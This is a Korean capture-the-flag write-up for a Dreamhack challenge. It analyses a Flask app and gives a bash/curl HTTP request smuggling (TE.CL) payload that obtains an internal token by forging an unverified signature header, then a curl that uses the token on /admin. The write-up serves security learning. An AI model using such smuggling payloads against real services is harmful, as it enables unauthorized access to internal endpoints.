

퍼블.
분석 나열하겠다.
아카이브(CLTE.zip) 안의 소스를 보면 플라스크 앱이 이렇게 구성되어 있다:
/admin : Authorization: Bearer <token> 헤더가 정확히 일치하면 JSON으로 flag 를 바로 반환.token 은 프로세스 시작 시 랜덤 64-hex로 생성./internal/token : 내부 서비스만 접근 가능한 토큰 발급용 엔드포인트(외부 403).POST /api/backend : TE.CL 케이스 감지. 요청 바디 안에 0\\r\\n\\r\\nPOST /internal/token ... 패턴이 있으면 token 을 그대로 응답.POST /api/proxy : CL.TE 케이스 감지. “바디 길이 > Content-Length” 상황에서 뒤이어 오는 POST /internal/token ... 를 발견하면 token 응답.x-internal-sign)은 형식(64자 hex)만 검사하고 실제 검증은 하지 않는다.즉, 스머글링 탐지를 트리거하기만 하면 서버가 토큰을 직접 되돌려 주고, 그 토큰으로 /admin 에 접근해서 flag 를 받을 수 있다.
TARGET='<http://host8.dreamhack.games:21991>'
# 1) UTC 기준 ISO 타임스탬프 만들기
TS=$(date -u '+%Y-%m-%dT%H:%M:%S')
# 2) TE.CL 페이로드 전송
PAYLOAD=$'0\\r\\n\\r\\n'\\
$'POST /internal/token HTTP/1.1\\r\\n'\\
$'Host: 127.0.0.1\\r\\n'\\
$'x-internal-service: service\\r\\n'\\
$'x-internal-sign: 0000000000000000000000000000000000000000000000000000000000000000\\r\\n'\\
$'x-request-timestamp: '"$TS"$'\\r\\n'\\
$'Content-Length: 0\\r\\n'\\
$'\\r\\n'
printf "%s" "$PAYLOAD" | \\
curl --http1.1 -sS -X POST \\
-H 'Transfer-Encoding: chunked' \\
--data-binary @- \\
"$TARGET/api/backend"
위 방식으로 인증 토큰을 얻을 수 있다.
성공 시 대략 아래와 같은 방식으로 토큰이 온다.
{"token":"<64-hex>","method":"TE.CL"}
따라서, 위에서 얻은 토큰을 활용해 flag를 요청하면 된다.
TOKEN='<위에서 받은 64-hex>'
curl -sS -H "Authorization: Bearer $TOKEN" "$TARGET/admin"